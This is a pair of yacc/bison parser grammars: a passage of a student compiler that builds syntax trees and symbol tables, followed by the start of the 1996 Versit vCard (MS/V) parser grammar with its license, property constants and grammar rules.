$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, "/");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$3);
}
| Term
{
strcpy(g_desc_and_val->description, "Multiplication");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
};
Term : '(' Expr ')'
{
strcpy(g_desc_and_val->description, "Term");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "(");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$2);
strcpy(g_desc_and_val->description, ")");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| '-' Term
{
strcpy(g_desc_and_val->description, "Term");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "-");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$2);
}
| '+' Term
{
strcpy(g_desc_and_val->description, "Term");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "+");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$2);
}
| Factor
{
strcpy(g_desc_and_val->description, "Term");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
};
Factor : Identifier
{
strcpy(g_desc_and_val->description, "Factor");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $1);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
setLastValueByIdentifierName($1);
// verifica se a váriavel foi declarada
identifierSemanticCheck($1, "VARIABLE", g_current_scope);
}
| NUMBER
{
strcpy(g_desc_and_val->description, "Factor");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "NUMBER");
strcpy(g_desc_and_val->value, $1);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_last_value_from_st_entry, $1);
}
| TEXT
{
strcpy(g_desc_and_val->description, "Factor");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "TEXT");
strcpy(g_desc_and_val->value, $1);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_last_value_from_st_entry, $1);
};
FunctionCall : Identifier '(' ArgList ')'
{
strcpy(g_desc_and_val->description, "FunctionCall");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $1);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "(");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$3);
strcpy(g_desc_and_val->description, ")");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
if ( identifierSemanticCheck($1, "FUNCTION", "GLOBAL") )
functionCallSemanticCheck($$);
}
| Identifier '.' Identifier '(' ArgList ')'
{
strcpy(g_desc_and_val->description, "FunctionCall");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $1);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, ".");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $3);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "(");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$5);
strcpy(g_desc_and_val->description, ")");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
// verifica se a váriavel foi declarada
identifierSemanticCheck($1, "VARIABLE", g_current_scope);
methodCallSemanticCheck($$, $1, $3, g_current_scope);
};
StringConcat : StringConcat ':' TEXT
{
strcpy(g_desc_and_val->description, "StringConcat");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, ":");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "TEXT");
strcpy(g_desc_and_val->value, $3);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| StringConcat ':' Identifier
{
strcpy(g_desc_and_val->description, "StringConcat");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, ":");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $3);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
// verifica se a váriavel foi declarada
getTypeFromTSByIdentifier($3, "VARIABLE", g_current_scope);
}
| TEXT ':' TEXT
{
strcpy(g_desc_and_val->description, "StringConcat");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "TEXT");
strcpy(g_desc_and_val->value, $1);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, ":");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "TEXT");
strcpy(g_desc_and_val->value, $3);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| Identifier ':' TEXT
{
strcpy(g_desc_and_val->description, "StringConcat");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $1);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, ":");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "TEXT");
strcpy(g_desc_and_val->value, $3);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
// verifica se a váriavel foi declarada e se o tipo dela é string
if (0 != strcmp(getTypeFromTSByIdentifier($1, "VARIABLE", g_current_scope), "STRING") )
{
printf("Line %d: ERRO SEMANTICO! A variavel '%s' nao e do tipo string para fazer uma concatenacao.\n", g_line_counter, $1);
g_syntax_error_flag = 1;
}
}
| TEXT ':' Identifier
{
strcpy(g_desc_and_val->description, "StringConcat");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "TEXT");
strcpy(g_desc_and_val->value, $1);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, ":");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $3);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
// verifica se a váriavel foi declarada e se o tipo dela é string
if (0 != strcmp(getTypeFromTSByIdentifier($3, "VARIABLE", g_current_scope), "STRING") )
{
printf("Line %d: ERRO SEMANTICO! A variavel '%s' nao e do tipo string para fazer uma concatenacao.\n", g_line_counter, $3);
g_syntax_error_flag = 1;
}
}
| Identifier ':' Identifier
{
strcpy(g_desc_and_val->description, "StringConcat");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $1);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, ":");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $3);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
// verifica se a váriavel foi declarada e se o tipo dela é string
if (0 != strcmp(getTypeFromTSByIdentifier($1, "VARIABLE", g_current_scope), "STRING") )
{
printf("Line %d: ERRO SEMANTICO! A variavel '%s' nao e do tipo string para fazer uma concatenacao.\n", g_line_counter, $1);
g_syntax_error_flag = 1;
}
// verifica se a váriavel foi declarada e se o tipo dela é string
if (0 != strcmp(getTypeFromTSByIdentifier($3, "VARIABLE", g_current_scope), "STRING") )
{
printf("Line %d: ERRO SEMANTICO! A variavel '%s' nao e do tipo string para fazer uma concatenacao.\n", g_line_counter, $3);
g_syntax_error_flag = 1;
}
};
%%
void printSymbolTable()
{
symbol_table_struct *aux = g_symbol_table_first_line;
printf("\n\nTabela de simbolos:\n");
if(0 < g_symbol_table_size)
{
while(aux != NULL)
{
printf("\nSCOPE: %s \nCATEGORY: %s\nTYPE: %s \nNAME: %s\nVALUE: %s\nisFormalArg: %d\n", aux->scope, aux->category, aux->type, aux->name, aux->value, aux->isFormalArg);
// printf("\nCATEGORY: %s\nTYPE: %s \nNAME: %s\nSCOPE: %s \nVALUE: %s\n", aux->category, aux->type, aux->name, aux->scope, aux->value);
// printf("\nNAME: %s\nSCOPE: %s \nTYPE: %s \nCATEGORY: %s\n", aux->name,aux->scope,aux->type,aux->category);
aux = aux->next;
}
printf("\n");
}
}
void setLastValueByIdentifierName(char * var_name)
{
symbol_table_struct *aux = g_symbol_table_first_line;
if(0 < g_symbol_table_size)
{
while(aux != NULL)
{
if(strcmp(aux->name,var_name) == 0)
{
strcpy(g_last_value_from_st_entry , aux->value);
}
aux = aux->next;
}
}
}
void setValueInSymbolTableEntry(char * var_name)
{
symbol_table_struct *aux;
aux = g_symbol_table_first_line;
if(0 < g_symbol_table_size)
{
while(aux != NULL)
{
if(strcmp(aux->name,var_name) == 0)
{
strcpy(aux->value , g_last_value_from_st_entry);
}
aux = aux->next;
}
}
}
//Cria uma nova linha na Tabela de Símbolos e aponta o elemento anterior e o que segue
void addSymbolTableLine(data_for_the_symbol_table * data)
{
symbol_table_struct* line = (symbol_table_struct *) malloc (sizeof(symbol_table_struct));
if(0 == g_symbol_table_size)
{
// preenche a entrada
strcpy(line->scope,g_current_scope);
strcpy(line->name ,data->name);
strcpy(line->type,data->type);
strcpy(line->category ,data->category);
line->isFormalArg = data->isFormalArg;
line->previous = NULL;
line->next = NULL;
// controle:
g_symbol_table_size++;
g_symbol_table_current_line = line;
g_symbol_table_first_line = line;
}
else
{
strcpy(line->scope,g_current_scope);
strcpy(line->name ,data->name);
strcpy(line->type,data->type);
strcpy(line->category ,data->category);
line->isFormalArg = data->isFormalArg;
line->previous = g_symbol_table_current_line;
line->next = NULL;
g_symbol_table_current_line->next = line;
g_symbol_table_size++;
g_symbol_table_current_line = line;
}
}
void setCurrentScope(const char *scopeName)
{
symbol_table_struct *aux;
// printf("setando o scopo para %s\n", scopeName);
if(strcmp(scopeName,"") !=0)
strcpy(g_current_scope,scopeName);
aux = g_symbol_table_first_line;
if(0 < g_symbol_table_size)
{
while(aux != NULL)
{
if( strcmp(aux->category,"VARIABLE") == 0 && strcmp(g_current_scope,"GLOBAL") != 0 && strcmp(aux->scope,"-") == 0 && strcmp(scopeName,"-") != 0 )
strcpy(aux->scope,scopeName);
aux = aux->next;
}
}
}
void addNodeToListOfNodeBrothers(NODE *root, NODE *item)
{
int flag = 0;
NODE *temp;
if(item != NULL)
{
// se é o primeiro filho
if (root->brother == NULL)
{
root->brother = item;
}
// se não é o primeiro filho
else
{
//add a new child in a child list
temp = root->brother;
while(0 == flag)
{
if(temp->brother != NULL)
temp = temp->brother;
else
flag = 1;
}
//effect of the add
temp->brother = item;
}
}
}
// cria um novo nodo para ser preenchido depois. aloca memória pra ele, basicamente
NODE * addTreeNode(description_and_value_data_for_the_tree *g_desc_and_val)
{
NODE *node;
node = (NODE *) malloc (sizeof(NODE));
strcpy(node->description , g_desc_and_val->description);
strcpy(node->value , g_desc_and_val->value);
node->node_brother_count = 0;
node->father = NULL;
node->child = NULL;
node->brother = NULL;
return node;
}
void addChildToTreeNode(NODE *root, NODE *item)
{
int flag = 0;
NODE *temp;
if(item != NULL)
{
// se é o primeiro filho
if (root->child == NULL)
{
item->father = root;
root->child = item;
}
// se não é o primeiro filho
else
{
addNodeToListOfNodeBrothers(root->child, item);
}
root->node_brother_count++;
temp = item;
// atualiza quem é o nodo pai deste
while(flag == 0)
{
if(temp != NULL)
{
temp = temp->brother;
if(temp != NULL)
{
temp->father = root;
}
}
else
{
flag = 1;
}
}
}
}
void printSyntaxTree(NODE* root, int identation_counter)
{
NODE* aux = NULL;
int i=0;
if (root != NULL)
{
for(i = 0; i < identation_counter; i++) { printf("| "); }
printf("%s %s\n", root->description, root->value);
aux = root->child;
// chamada recursiva para imprimir os filhos.
while (aux != NULL)
{
printSyntaxTree(aux, identation_counter + 1);
aux = aux->brother;
}
}
}
/* Epílogo ( código no final do arquivo ) */
/* Chamado quando há um erro sintático na entrada . */
void yyerror ( char const *s)
{
printf ("Line %d: %s\n", g_line_counter, s);
}
int main ( void )
{
g_desc_and_val = (description_and_value_data_for_the_tree*) malloc(sizeof(description_and_value_data_for_the_tree));
g_symbol_data = (data_for_the_symbol_table*) malloc(sizeof(data_for_the_symbol_table));
/* Chama o parser . */
return yyparse ();
}
|
<filename>inetcore/outlookexpress/wabw/vcard/versit/2.0/msv.y
%{
/***************************************************************************
(C) Copyright 1996 Apple Computer, Inc., AT&T Corp., International
Business Machines Corporation and Siemens Rolm Communications Inc.
For purposes of this license notice, the term Licensors shall mean,
collectively, Apple Computer, Inc., AT&T Corp., International
Business Machines Corporation and Siemens Rolm Communications Inc.
The term Licensor shall mean any of the Licensors.
Subject to acceptance of the following conditions, permission is hereby
granted by Licensors without the need for written agreement and without
license or royalty fees, to use, copy, modify and distribute this
software for any purpose.
The above copyright notice and the following four paragraphs must be
reproduced in all copies of this software and any software including
this software.
THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS AND NO LICENSOR SHALL HAVE
ANY OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS OR
MODIFICATIONS.
IN NO EVENT SHALL ANY LICENSOR BE LIABLE TO ANY PARTY FOR DIRECT,
INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES OR LOST PROFITS ARISING OUT
OF THE USE OF THIS SOFTWARE EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
EACH LICENSOR SPECIFICALLY DISCLAIMS ANY WARRANTIES, EXPRESS OR IMPLIED,
INCLUDING BUT NOT LIMITED TO ANY WARRANTY OF NONINFRINGEMENT OR THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.
The software is provided with RESTRICTED RIGHTS. Use, duplication, or
disclosure by the government are subject to restrictions set forth in
DFARS 252.227-7013 or 48 CFR 52.227-19, as applicable.
***************************************************************************/
/*
To invoke this parser, see the "Public Interface" section below.
This MS/V parser accepts input such as the following:
[vCard
O=AT&T/Versit;
FN=Roland <NAME>
TITLE=Consultant (Versit Project Office)
N=Alden;Roland
A:DOM,POSTAL,PARCEL,HOME,WORK=Suite 2208;One Pine Street;San Francisco;CA;94111;U.S.A.
A.FADR:DOM,POSTAL,PARCEL,HOME,WORK=Roland H. Alden\
Suite 2208\
One Pine Street\
San Francisco, CA 94111
A.FADR:POSTAL,PARCEL,HOME,WORK=Roland H. Alden\
Suite 2208\
One Pine Street\
San Francisco, CA 94111\
U.S.A.
B.T:HOME,WORK,PREF,MSG=+1 (415) 296-9106
C.T:WORK,FAX=+1 (415) 296-9016
D.T:MSG,CELL=+1 (415) 608-5981
E.EMAIL:WORK,PREF,INTERNET=sf!rincon!<EMAIL>
F.EMAIL:INTERNET=<EMAIL>
G.EMAIL:HOME,MCIMail=242-2200
PN=ROW-LAND ALL-DEN
PN:WAV,BASE64=<bindata>
UklGRtQ4AABXQVZFZm10IBAAAAABAAEAESsAABErAAABAAgAZGF0Ya84AACAgoSD
...
e319fYCAg4WEhIAA
</bindata>
]
For the purposes of the following grammar, a LINESEP token indicates either
a \r char (0x0D), a \n char (0x0A), or a combination of one of each,
in either order (\r\n or \n\r). This is a bit more lenient than the spec.
*/
#ifdef _WIN32
#include <wchar.h>
#else
#include "wchar.h"
#endif
#include <string.h>
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include "clist.h"
#include "vcard.h"
#include "msv.h"
#if defined(_WIN32) || defined(__MWERKS__)
#define HNEW(_t, _n) new _t[_n]
#define HFREE(_h) delete [] _h
#else
#define HNEW(_t, _n) (_t __huge *)_halloc(_n, 1)
//#define HNEW(_t, _n) (_t __huge *)_halloc(_n, 1); {char buf[40]; sprintf(buf, "_halloc(%ld)\n", _n); Parse_Debug(buf);}
#define HFREE(_h) _hfree(_h)
#endif
/**** Types, Constants ****/
#define YYDEBUG 1 /* 1 to compile in some debugging code */
#define MAXTOKEN 256 /* maximum token (line) length */
#define MAXFLAGS ((MAXTOKEN / 2) / sizeof(char *))
#define YYSTACKSIZE 50
#define MAXASSOCKEY 24
#define MAXASSOCVALUE 64
#define MAXCARD 2 /* max # of nested cards parseable */
/* (includes outermost) */
typedef struct {
const char* known[MAXFLAGS];
char extended[MAXTOKEN / 2];
} FLAGS_STRUCT;
typedef struct {
char key[MAXASSOCKEY];
char value[MAXASSOCVALUE];
} AssocEntry; /* a simple key/value association, impl'd using CList */
/* some fake property names that represent special cases */
#define msv_fam_given "family;given"
#define msv_orgname_orgunit "org_name;org_unit"
#define msv_address "six part address"
/*
* These strings are defined as a courtesy for the rest of the app code.
* They are useful here because the tail end of each is the cleartext
* string to match according to this grammar.
*/
const char* vcDefaultLang = "en-US";
const char* vcISO9070Prefix = VCISO9070Prefix;
const char* vcClipboardFormatVCard = VCClipboardFormatVCard;
const char* vcISO639Type = VCISO639Type;
const char* vcStrIdxType = VCStrIdxType;
const char* vcFlagsType = VCFlagsType;
const char* vcNextObjectType = VCNextObjectType;
const char* vcOctetsType = VCOctetsType;
const char* vcGIFType = VCGIFType;
const char* vcWAVType = VCWAVType;
const char* vcNullType = VCNullType;
const char* vcRootObject = VCRootObject;
const char* vcBodyObject = VCBodyObject;
const char* vcPartObject = VCPartObject;
const char* vcBodyProp = VCBodyProp;
const char* vcPartProp = VCPartProp;
const char* vcNextObjectProp = VCNextObjectProp;
const char* vcLogoProp = VCLogoProp;
const char* vcPhotoProp = VCPhotoProp;
const char* vcDeliveryLabelProp = VCDeliveryLabelProp;
const char* vcPostalBoxProp = VCPostalBoxProp;
const char* vcStreetAddressProp = VCStreetAddressProp;
const char* vcExtAddressProp = VCExtAddressProp;
const char* vcCountryNameProp = VCCountryNameProp;
const char* vcPostalCodeProp = VCPostalCodeProp;
const char* vcRegionProp = VCRegionProp;
const char* vcCityProp = VCCityProp;
const char* vcFullNameProp = VCFullNameProp;
const char* vcTitleProp = VCTitleProp;
const char* vcOrgNameProp = VCOrgNameProp;
const char* vcOrgUnitProp = VCOrgUnitProp;
const char* vcOrgUnit2Prop = VCOrgUnit2Prop;
const char* vcOrgUnit3Prop = VCOrgUnit3Prop;
const char* vcOrgUnit4Prop = VCOrgUnit4Prop;
const char* vcFamilyNameProp = VCFamilyNameProp;
const char* vcGivenNameProp = VCGivenNameProp;
const char* vcAdditionalNamesProp = VCAdditionalNamesProp;
const char* vcNamePrefixesProp = VCNamePrefixesProp;
const char* vcNameSuffixesProp = VCNameSuffixesProp;
const char* vcPronunciationProp = VCPronunciationProp;
const char* vcLanguageProp = VCLanguageProp;
const char* vcTelephoneProp = VCTelephoneProp;
const char* vcEmailAddressProp = VCEmailAddressProp;
const char* vcTimeZoneProp = VCTimeZoneProp;
const char* vcLocationProp = VCLocationProp;
const char* vcCommentProp = VCCommentProp;
const char* vcCharSetProp = VCCharSetProp;
const char* vcLastRevisedProp = VCLastRevisedProp;
const char* vcUniqueStringProp = VCUniqueStringProp;
const char* vcPublicKeyProp = VCPublicKeyProp;
const char* vcMailerProp = VCMailerProp;
const char* vcAgentProp = VCAgentProp;
const char* vcBirthDateProp = VCBirthDateProp;
const char* vcBusinessRoleProp = VCBusinessRoleProp;
const char* vcCaptionProp = VCCaptionProp;
const char* vcURLProp = VCURLProp;
const char* vcDomesticProp = VCDomesticProp;
const char* vcInternationalProp = VCInternationalProp;
const char* vcPostalProp = VCPostalProp;
const char* vcParcelProp = VCParcelProp;
const char* vcHomeProp = VCHomeProp;
const char* vcWorkProp = VCWorkProp;
const char* vcPreferredProp = VCPreferredProp;
const char* vcVoiceProp = VCVoiceProp;
const char* vcFaxProp = VCFaxProp;
const char* vcMessageProp = VCMessageProp;
const char* vcCellularProp = VCCellularProp;
const char* vcPagerProp = VCPagerProp;
const char* vcBBSProp = VCBBSProp;
const char* vcModemProp = VCModemProp;
const char* vcCarProp = VCCarProp;
const char* vcISDNProp = VCISDNProp;
const char* vcVideoProp = VCVideoProp;
const char* vcInlineProp = VCInlineProp;
const char* vcURLValueProp = VCURLValueProp;
const char* vcContentIDProp = VCContentIDProp;
const char* vc7bitProp = VC7bitProp;
const char* vcQuotedPrintableProp = VCQuotedPrintableProp;
const char* vcBase64Prop = VCBase64Prop;
const char* vcAOLProp = VCAOLProp;
const char* vcAppleLinkProp = VCAppleLinkProp;
const char* vcATTMailProp = VCATTMailProp;
const char* vcCISProp = VCCISProp;
const char* vcEWorldProp = VCEWorldProp;
const char* vcInternetProp = VCInternetProp;
const char* vcIBMMailProp = VCIBMMailProp;
const char* vcMSNProp = VCMSNProp;
const char* vcMCIMailProp = VCMCIMailProp;
const char* vcPowerShareProp = VCPowerShareProp;
const char* vcProdigyProp = VCProdigyProp;
const char* vcTLXProp = VCTLXProp;
const char* vcX400Prop = VCX400Prop;
const char* vcGIFProp = VCGIFProp;
const char* vcCGMProp = VCCGMProp;
const char* vcWMFProp = VCWMFProp;
const char* vcBMPProp = VCBMPProp;
const char* vcMETProp = VCMETProp;
const char* vcPMBProp = VCPMBProp;
const char* vcDIBProp = VCDIBProp;
const char* vcPICTProp = VCPICTProp;
const char* vcTIFFProp = VCTIFFProp;
const char* vcAcrobatProp = VCAcrobatProp;
const char* vcPSProp = VCPSProp;
const char* vcJPEGProp = VCJPEGProp;
const char* vcQuickTimeProp = VCQuickTimeProp;
const char* vcMPEGProp = VCMPEGProp;
const char* vcMPEG2Prop = VCMPEG2Prop;
const char* vcAVIProp = VCAVIProp;
const char* vcWAVEProp = VCWAVEProp;
const char* vcAIFFProp = VCAIFFProp;
const char* vcPCMProp = VCPCMProp;
const char* vcX509Prop = VCX509Prop;
const char* vcPGPProp = VCPGPProp;
const char* vcNodeNameProp = VCNodeNameProp;
typedef struct {
const char *name;
unsigned long value;
} VC_FLAG_PAIR;
static VC_FLAG_PAIR generalFlags[] = {
vcDomesticProp, VC_DOM,
vcInternationalProp, VC_INTL,
vcPostalProp, VC_POSTAL,
vcParcelProp, VC_PARCEL,
vcHomeProp, VC_HOME,
vcWorkProp, VC_WORK,
vcPreferredProp, VC_PREF,
vcVoiceProp, VC_VOICE,
vcFaxProp, VC_FAX,
vcMessageProp, VC_MSG,
vcCellularProp, VC_CELL,
vcPagerProp, VC_PAGER,
vcBBSProp, VC_BBS,
vcModemProp, VC_MODEM,
vcCarProp, VC_CAR,
vcISDNProp, VC_ISDN,
vcVideoProp, VC_VIDEO,
vcBase64Prop, VC_BASE64,
NULL, NULL
};
static VC_FLAG_PAIR emailFlags[] = {
vcAOLProp, VC_AOL,
vcAppleLinkProp, VC_AppleLink,
vcATTMailProp, VC_ATTMail,
vcCISProp, VC_CIS,
vcEWorldProp, VC_eWorld,
vcInternetProp, VC_INTERNET,
vcIBMMailProp, VC_IBMMail,
vcMSNProp, VC_MSN,
vcMCIMailProp, VC_MCIMail,
vcPowerShareProp, VC_POWERSHARE,
vcProdigyProp, VC_PRODIGY,
vcTLXProp, VC_TLX,
vcX400Prop, VC_X400,
NULL, NULL
};
static VC_FLAG_PAIR videoFlags[] = {
vcGIFProp, VC_GIF,
vcCGMProp, VC_CGM,
vcWMFProp, VC_WMF,
vcBMPProp, VC_BMP,
vcMETProp, VC_MET,
vcPMBProp, VC_PMB,
vcDIBProp, VC_DIB,
vcPICTProp, VC_PICT,
vcTIFFProp, VC_TIFF,
vcAcrobatProp, VC_ACROBAT,
vcPSProp, VC_PS,
NULL, NULL
};
static VC_FLAG_PAIR audioFlags[] = {
vcWAVEProp, VC_WAV,
NULL, NULL
};
static const char *addrProps[] = {
vcExtAddressProp,
vcStreetAddressProp,
vcCityProp,
vcRegionProp,
vcPostalCodeProp,
vcCountryNameProp,
NULL
};
static const char *nameProps[] = {
vcFamilyNameProp,
vcGivenNameProp,
vcAdditionalNamesProp,
vcNamePrefixesProp,
vcNameSuffixesProp,
NULL
};
static const char *orgProps[] = {
vcOrgNameProp,
vcOrgUnitProp,
vcOrgUnit2Prop,
vcOrgUnit3Prop,
vcOrgUnit4Prop,
NULL
};
/**** Global Variables ****/
int msv_lineNum, msv_numErrors; /* yyerror() can use these */
static S32 curPos, inputLen;
static int pendingToken;
static const char *inputString;
static CFile* inputFile;
static BOOL stringExpected, flagExpected, inBinary, semiSpecial;
static CList *mapProps;
static char __huge *longString;
static S32 longStringLen, longStringMax;
static CList* global_vcList;
static CVCard *cardBuilt;
static CVCard* cardToBuild[MAXCARD];
static int curCard;
static CVCNode *bodyToBuild;
/**** External Functions ****/
CFUNCTIONS
extern void Parse_Debug(const char *s);
extern void yyerror(char *s);
END_CFUNCTIONS
/**** Private Forward Declarations ****/
CFUNCTIONS
/* A helpful utility for the rest of the app. */
CVCNode* FindOrCreatePart(CVCNode *node, const char *name);
static BOOL StrToFlags(const char *s, FLAGS_STRUCT *flags, VC_PTR_FLAGS capFlags);
static void StrCat(char *dst, const char *src1, const char *src2);
static void ExpectString(void);
static BOOL Parse_Assoc(
const char *groups, const char *prop, FLAGS_STRUCT *flags,
const char *value);
static BOOL Parse_SemiValue(
const char *groups, const char *prop, FLAGS_STRUCT *flags,
char *parts, const char **props);
static BOOL Parse_TwoPart(
const char *groups, const char *prop, FLAGS_STRUCT *flags,
char *parts);
static BOOL Parse_Agent(
const char *groups, const char *prop, FLAGS_STRUCT *flags,
CVCard *agentCard);
static void AddAssoc(CList *table, const char *key, const char *value);
//static void SetAssoc(CList *table, const char *key, const char *value);
static const char *Lookup(CList *table, const char *key);
static void RemoveAll(CList *table);
static void InitMapProps(void);
int yyparse();
static U8 __huge * DataFromBase64(
const char __huge *str, S32 strLen, S32 *len);
static BOOL PushVCard();
static CVCard* PopVCard();
static int flagslen(const char **flags);
static BOOL FlagsHave(FLAGS_STRUCT *flags, const char *propName);
static void AddBoolProps(CVCNode *node, FLAGS_STRUCT *flags);
END_CFUNCTIONS
%}
/***************************************************************************/
/*** The grammar ****/
/***************************************************************************/
%union
{
char str[MAXTOKEN];
FLAGS_STRUCT flags;
CVCard *vCard;
}
/* The "str" token type is able to hold "short" string values. For string
* values longer than MAXTOKEN, the lexical analyzer will allocate a
* growable buffer and store that pointer in the global "longString".
* This simple strategy works only because with this grammar we never have
* more than one STRING token on the stack at once.
*
* The lexical analyzer indicates that it is returning a "long" string by
* setting "str" to be of 0 length. The semantics of the use of "str"
* are that if it is of 0 length, the parser should check the length of
* "longString" (stored in longStringLen) to see if it is non-zero.
*/
%token
OBRKT CBRKT EQ COLON DOT COMMA SEMI SPACE HTAB LINESEP NEWLINE
VCARD BBINDATA EBINDATA BKSLASH TERM
/*
* NEWLINE is the token that would occur outside a vCard,
* while LINESEP is the token that would occur inside a vCard.
*/
%token <str>
WORD STRING PROP PROP_A PROP_N PROP_O PROP_AGENT
%token <flags>
FLAG
%type <str> string lines groups grouplist binary value opt_str semistrings
%type <flags> flags
%type <vCard> vcard
%start msv
%%
vcards : vcards junk vcard
{ global_vcList->AddTail($3); }
| vcards vcard
{ global_vcList->AddTail($2); }
| vcard
{ global_vcList->AddTail($1); }
;
junk : junk atom
| atom
;
atom : OBRKT NEWLINE
| OBRKT TERM
| OBRKT OBRKT
| VCARD OBRKT
| VCARD VCARD
| NEWLINE
| TERM
;
msv : junk vcards junk
| junk vcards
| vcards junk
| vcards
;
vcard : OBRKT VCARD
{
if (!PushVCard())
YYERROR;
ExpectString();
}
opt_str LINESEP
{ stringExpected = FALSE; }
items CBRKT
{ $$ = PopVCard(); }
;
items : items item
| item
;
item : groups PROP flags opt_ws EQ
{ ExpectString(); }
value LINESEP
{
if (!Parse_Assoc($1, $2, &($3), $7))
YYERROR;
}
| groups PROP_A flags opt_ws EQ
{ ExpectString(); semiSpecial = TRUE; }
semistrings LINESEP
{
semiSpecial = stringExpected = FALSE;
if (!Parse_SemiValue($1, $2, &($3), $7, addrProps))
YYERROR;
}
| groups PROP_N flags opt_ws EQ
{ ExpectString(); semiSpecial = TRUE; }
semistrings LINESEP
{
semiSpecial = stringExpected = FALSE;
if (!Parse_SemiValue($1, $2, &($3), $7, nameProps))
YYERROR;
}
| groups PROP_O flags opt_ws EQ
{ ExpectString(); semiSpecial = TRUE; }
semistrings LINESEP
{
semiSpecial = stringExpected = FALSE;
if (!Parse_SemiValue($1, $2, &($3), $7, orgProps))
YYERROR;
}
